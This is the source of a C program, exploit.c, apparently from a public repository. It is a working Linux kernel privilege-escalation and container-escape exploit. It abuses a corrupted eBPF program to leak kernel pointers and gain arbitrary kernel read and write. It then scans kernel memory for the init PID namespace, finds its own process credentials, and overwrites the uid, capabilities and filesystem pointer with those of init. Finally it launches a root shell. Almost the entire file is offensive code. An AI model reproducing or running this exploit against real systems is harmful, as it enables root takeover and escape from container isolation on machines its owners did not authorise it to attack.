-
Notifications
You must be signed in to change notification settings - Fork 411
/
exploit.c
420 lines (341 loc) · 14.8 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>
#include "exploit_prims.h"
#include "kernel_helpers.h"
int leak_map_ptr(context *ctx) {
if (ctx->map_fd < 0) {
printf("invalid map\n");
return -1;
}
struct bpf_insn instrs[] = {
CORRUPT_R6,
BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_9, /*src=*/BPF_REG_1, /*ins_class=*/BPF_ALU64),
// Store magic number.
BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_1, /*imm=*/0x0, /*ins_class=*/BPF_ALU64),
BPF_ALU_IMM(BPF_LSH, /*dst=*/BPF_REG_1, /*imm=*/32, /*ins_class=*/BPF_ALU64),
BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_1, /*imm=*/0xCAFE, /*ins_class=*/BPF_ALU64),
BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_1, /*offset=*/-8),
// Store ptr to first magic number on stack
BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_2, /*src=*/BPF_REG_10, /*ins_class=*/BPF_ALU64),
BPF_ALU_IMM(BPF_ADD, /*dst=*/BPF_REG_2, /*imm=*/-8, /*ins_class=*/BPF_ALU64),
BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_2, /*offset=*/-32),
// Store second magic number.
BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_1, /*imm=*/0x0, /*ins_class=*/BPF_ALU64),
BPF_ALU_IMM(BPF_LSH, /*dst=*/BPF_REG_1, /*imm=*/32, /*ins_class=*/BPF_ALU64),
BPF_ALU_IMM(BPF_ADD, /*dst=*/BPF_REG_1, /*imm=*/0xBACA, /*ins_class=*/BPF_ALU64),
BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_1, /*offset=*/-16),
// Load ptr to map, store in stack.
BPF_LD_MAP_FD(/*dst=*/BPF_REG_4, ctx->map_fd),
BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_4, /*offset=*/-24),
BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_7, /*src=*/BPF_REG_4, /*ins_class=*/BPF_ALU64),
// Load ptr to first element, save for later
BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_0, /*imm=*/0, /*ins_class=*/BPF_ALU64),
BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_0, /*offset=*/-40),
BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_1, /*src=*/BPF_REG_4, /*ins_class=*/BPF_ALU64),
BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_2, /*src=*/BPF_REG_10, /*ins_class=*/BPF_ALU64),
BPF_ALU_IMM(BPF_ADD, /*dst=*/BPF_REG_2, /*imm=*/-36, /*ins_class=*/BPF_ALU64),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, /*dst=*/BPF_REG_0, /*imm=*/BPF_REG_0, /*off=*/BPF_REG_1, /*ins_class=*/BPF_JMP),
BPF_EXIT_INSN(),
BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_8, /*src=*/BPF_REG_0, /*ins_class=*/BPF_ALU64),
// Corrupt stack ptr with packet data.
BPF_ALU_REG(BPF_MOV, BPF_REG_1, BPF_REG_9, BPF_ALU64),
BPF_ALU_IMM(BPF_MOV, BPF_REG_2, 0, BPF_ALU64),
BPF_ALU_REG(BPF_MOV, BPF_REG_3, BPF_REG_10, BPF_ALU64),
BPF_ALU_IMM(BPF_ADD, BPF_REG_3, -40, BPF_ALU64),
BPF_ALU_REG(BPF_MOV, BPF_REG_4, BPF_REG_6, BPF_ALU64),
BPF_ALU_IMM(BPF_ADD, BPF_REG_4, 8, BPF_ALU64),
BPF_ALU_IMM(BPF_MOV, BPF_REG_5, 1, BPF_ALU64),
BPF_CALL_FUNC(BPF_FUNC_skb_load_bytes_relative),
BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_0, /*imm=*/1, /*ins_class=*/BPF_ALU),
BPF_MEM_OPERATION(BPF_STX, BPF_W, /*dst=*/BPF_REG_10, /*src=*/BPF_REG_0, /*offset=*/-36),
BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_1, /*src=*/BPF_REG_7, /*ins_class=*/BPF_ALU64),
BPF_ALU_REG(BPF_MOV, /*dst=*/BPF_REG_2, /*src=*/BPF_REG_10, /*ins_class=*/BPF_ALU64),
BPF_ALU_IMM(BPF_ADD, /*dst=*/BPF_REG_2, /*imm=*/-36, /*ins_class=*/BPF_ALU64),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, /*dst=*/BPF_REG_0, /*imm=*/BPF_REG_0, /*off=*/BPF_REG_1, /*ins_class=*/BPF_JMP),
BPF_EXIT_INSN(),
BPF_MEM_OPERATION(BPF_LDX, BPF_DW, /*dst=*/BPF_REG_1, /*src=*/BPF_REG_10, /*offset=*/-32),
BPF_MEM_OPERATION(BPF_LDX, BPF_DW, /*dst=*/BPF_REG_2, /*src=*/BPF_REG_1, /*offset=*/0),
BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_0, /*src=*/BPF_REG_2, /*offset=*/0),
BPF_MEM_OPERATION(BPF_LDX, BPF_DW, /*dst=*/BPF_REG_2, /*src=*/BPF_REG_1, /*offset=*/-8),
BPF_MEM_OPERATION(BPF_STX, BPF_DW, /*dst=*/BPF_REG_8, /*src=*/BPF_REG_2, /*offset=*/0),
BPF_ALU_IMM(BPF_MOV, /*dst=*/BPF_REG_0, /*imm=*/BPF_REG_0, /*ins_class=*/BPF_ALU64),
BPF_EXIT_INSN()
};
int prog_fd =load_prog(instrs, /*prog_len=*/sizeof(instrs) / sizeof(instrs[0]));
if ( prog_fd < 0) {
printf("Could not load program\n");
return -1;
}
int offset = 0;
int max_attempts = 256 * 256;
uint64_t map_contents[ctx->map_size];
memset(map_contents, 0, sizeof(map_contents));
while (max_attempts != 0) {
max_attempts--;
offset+=8;
offset %= 256;
uint8_t data[100];
memset(data, offset, sizeof(data));
if (execute_bpf_program(ctx, prog_fd, map_contents, data, 100) != 0) {
printf("Failed to execute program");
return -1;
}
if (map_contents[1] == 0xbaca) {
ctx->map_leak = map_contents[0];
break;
}
}
if (max_attempts == 0) {
return -1;
}
close(prog_fd);
return 0;
}
int load_kernel_page(context *ctx, uint64_t start_address) {
if (ctx->kernel_memory == NULL) {
ctx->kernel_memory = malloc(ctx->kernel_page_size);
ctx->kernel_allocated_pages = 1;
} else {
ctx->kernel_memory = realloc(ctx->kernel_memory, ctx->kernel_page_size * (ctx->kernel_allocated_pages + 1));
ctx->kernel_allocated_pages++;
}
if (!ctx->kernel_memory) {
printf("Failed to allocate kernel memory page");
return -1;
}
int index = (ctx->kernel_allocated_pages - 1) * (ctx->kernel_page_size);
index = index/(sizeof(uint64_t));
uint64_t *kernel_memory = (uint64_t*)ctx->kernel_memory;
for (uint64_t i = 0; i < ctx->kernel_page_size; i+=8, index++) {
uint64_t leak_value;
if (read_from_address(ctx, start_address + i, &leak_value) != 0) {
printf("could failed to read memory address while leaking kernel page\n");
return -1;
}
kernel_memory[index] = leak_value;
}
return 0;
}
int leak_init_pid_ns_offset(context *ctx) {
char init_pid_str[] = "init_pid";
for (uint64_t i = 0; i < 0xFFFFFFF; i += ctx->kernel_page_size) {
int kernel_page_no = i/ctx->kernel_page_size;
if (kernel_page_no % 0x100 == 0) {
printf("Ping! looking at kernel page no 0x%02x, next ping at page no: 0x%02x\n", kernel_page_no, kernel_page_no + 0x100);
}
if (load_kernel_page(ctx, ctx->ops_leak + i) < 0) {
printf("failed to load initial kernel page\n");
return -1;
}
char *page = (char *)(ctx->kernel_memory + i);
int str_len = strlen(init_pid_str);
for(int j = 0; j < (ctx->kernel_page_size - str_len); j++) {
char *offset = page+j;
if (strncmp(init_pid_str, (const char*)offset, str_len) == 0) {
uint64_t init_pid_str_offset = (uint64_t) (offset - (char *)ctx->kernel_memory);
printf("[+] found offset at: %lx\n", init_pid_str_offset);
ctx->init_proc_ns_kstrtab = ctx->ops_leak + init_pid_str_offset;
return 0;
}
}
}
return -1;
}
int find_init_pid_ns(context *ctx) {
uint64_t memory_size = (ctx->kernel_page_size * ctx->kernel_allocated_pages);
uint64_t kstrtab_addr = ctx->init_proc_ns_kstrtab;
uint64_t start_addr = ctx->ops_leak;
for (uint64_t i = 0; i < memory_size; i++, start_addr++) {
uint32_t offset = *(uint32_t *)(ctx->kernel_memory + i);
if (kstrtab_addr == start_addr + offset) {
uint32_t value_offset = *(uint32_t*)(ctx->kernel_memory + i - 0x4);
ctx->init_proc_ns_addr = start_addr + value_offset - 0x4;
return 0;
}
}
return -1;
}
int find_process_and_leak_credentials_container(context *ctx) {
const char new_prog_name[] = "exploit";
uint64_t task_list_offset = 0x5c8;
uint64_t task_cred_offset = 0x720;
if (prctl(PR_SET_NAME, new_prog_name, 0, 0, 0) != 0) {
printf("could not set name\n");
}
uint64_t pid_struct, i, task_addr;
uint64_t max_pid = 4 * 1024 * 1024;
for (i = 1; i < max_pid; i++) {
if (i % 10000 == 0) {
printf("ping! looking at pid %ld\n", i);
}
pid_struct = (uint64_t) find_pid_ns(ctx, i);
uint64_t pid_tasks_offset = 0x10;
uint64_t first;
if (i == 1 && !pid_struct) {
printf("[-] could not leak pid struct of init_ps\n");
return -1;
}
if (!pid_struct) continue;
if (read_from_address(ctx, pid_struct + pid_tasks_offset, &first) != 0) {
printf("[-] could not leak pid_struct tasks member addr\n");
return -1;
}
if (!first) continue;
task_addr = first - task_list_offset;
uint64_t comm_addr = task_addr + 0x730;
if (i == 1) {
uint64_t fs_offset = 0x760;
if (read_from_address(ctx, task_addr + fs_offset, &ctx->init_pid_fs) != 0) {
printf("[-] could not leak init_pid fs\n");
return -1;
}
printf("[+] init pid fs: %lx\n", ctx->init_pid_fs);
uint64_t init_pid_creds;
if (read_from_address(ctx, task_addr + task_cred_offset, &init_pid_creds) != 0) {
printf("[-] could not leak ini pid creds addr\n");
return -1;
}
uint64_t cap_inh_off = 0x28;
if (read_from_address(ctx, init_pid_creds + cap_inh_off, &ctx->init_pid_cap_inh) != 0) {
printf("[-] could not leak cap inh\n");
return -1;
}
printf("[+] init pid cap inh: %lx\n", ctx->init_pid_cap_inh);
if (read_from_address(ctx, init_pid_creds + cap_inh_off + 0x8, &ctx->init_pid_cap_perm) != 0) {
printf("[-] could not leak cap perm\n");
return -1;
}
printf("[+] init pid cap perm: %lx\n", ctx->init_pid_cap_perm);
if (read_from_address(ctx, init_pid_creds + cap_inh_off + 0x10, &ctx->init_pid_cap_eff) != 0) {
printf("[-] could not leak cap eff\n");
return -1;
}
printf("[+] init pid cap eff: %lx\n", ctx->init_pid_cap_eff);
}
char task_name[16];
memset(task_name, 0, 16);
if (kernel_read_bytes(ctx, comm_addr, task_name, 16) != 0) {
printf("[-] could not read task name\n");
return -1;
}
if (strcmp(task_name, new_prog_name) == 0) {
printf("[+] found task\n");
break;
}
}
if (i == max_pid) {
printf("[-] could not get pid_struct for process %ld", i);
return -1;
}
printf("[+] pid struct for process %ld is at %lx\n", i, pid_struct);
ctx->task_addr = task_addr;
printf("[+] task_struct %lx\n", ctx->task_addr);
if (read_from_address(ctx, ctx->task_addr + task_cred_offset, &ctx->creds_addr) != 0) {
printf("[-] could not leak creds addr\n");
return -1;
}
return 0;
}
int find_process_and_leak_credentials(context *ctx) {
const char new_prog_name[] = "k3rn3lh4x";
if (prctl(PR_SET_NAME, new_prog_name, 0, 0, 0) != 0) {
printf("could not set name\n");
}
uint64_t pid_struct = (uint64_t) find_pid_ns(ctx, getpid());
if (pid_struct == 0) {
printf("[-] could not get pid_struct for process %d", getpid());
return -1;
}
printf("[+] pid struct for process %d is at %lx\n", getpid(), pid_struct);
uint64_t pid_tasks_offset = 0x10;
uint64_t first;
if (read_from_address(ctx, pid_struct + pid_tasks_offset, &first) != 0) {
printf("[-] could not leak pid_struct tasks member addr\n");
return -1;
}
printf("[+] first at %lx\n", first);
uint64_t task_list_offset = 0x5c8;
uint64_t task_cred_offset = 0x720;
ctx->task_addr = first - task_list_offset;
printf("[+] task_struct %lx\n", ctx->task_addr);
if (read_from_address(ctx, ctx->task_addr + task_cred_offset, &ctx->creds_addr) != 0) {
printf("[-] could not leak creds addr\n");
}
return 0;
}
int main() {
context ctx;
ctx.map_size = 4;
ctx.map_fd = bpf_create_map(ctx.map_size);
ctx.kernel_memory = NULL;
ctx.kernel_page_size = 0x1000;
ctx.kernel_allocated_pages = 1;
if (ctx.map_fd < 0) {
printf("could not create bpf map\n");
return -1;
}
if (leak_map_ptr(&ctx) != 0) {
printf("[-] Could not leak map!");
return -1;
}
printf("[+] map_leak %lx\n", ctx.map_leak);
if (prepare_read(&ctx) != 0) {
printf("could not load program for arbitrary read\n");
return -1;
}
if (read_from_address(&ctx, ctx.map_leak, &ctx.ops_leak) != 0) {
printf("[-] Could not leak map_ops!\n");
return -1;
}
printf("[+] ops = %02lx\n", ctx.ops_leak);
printf("Attempting to find init_pid_ns string offset.. this will take a while, standby\n");
if(leak_init_pid_ns_offset(&ctx) != 0) {
printf("[-] could not find init_pid_ns offset!");
return -1;
}
printf("[+] init_pid_ns string offset: %lx\n", ctx.init_proc_ns_kstrtab);
if (find_init_pid_ns(&ctx) != 0) {
printf("[-] could not find init_pid_ns address!");
return -1;
}
printf("[+] init_pid_ns address: %lx\n", ctx.init_proc_ns_addr);
printf("[.] Attempting to find pid cred %d\n", getpid());
if(find_process_and_leak_credentials_container(&ctx) != 0 ) {
printf("[-] Could not leak process credentials\n");
return -1;
}
printf("[+] process credentials at: %lx\n", ctx.creds_addr);
if (write_to_address(&ctx, ctx.creds_addr + 0x4, 0) != 0) {
printf("[-] Could not patch credentials!\n");
return -1;
}
uint64_t fs_offset = 0x760;
uint64_t cap_inh_off = 0x28;
if (write_to_address(&ctx, ctx.task_addr + fs_offset, ctx.init_pid_fs) != 0) {
printf("[-] Could not patch credentials!\n");
return -1;
}
if (write_to_address(&ctx, ctx.creds_addr + cap_inh_off, ctx.init_pid_cap_inh) != 0) {
printf("[-] Could not patch credentials!\n");
return -1;
}
if (write_to_address(&ctx, ctx.creds_addr + cap_inh_off + 0x8, ctx.init_pid_cap_perm) != 0) {
printf("[-] Could not patch credentials!\n");
return -1;
}
if (write_to_address(&ctx, ctx.creds_addr + cap_inh_off + 0x10, ctx.init_pid_cap_eff) != 0) {
printf("[-] Could not patch credentials!\n");
return -1;
}
if (getuid() == 0) {
printf("Kernel has been pwned, standby for root shell\n");
system("/bin/bash");
}
return 0;
}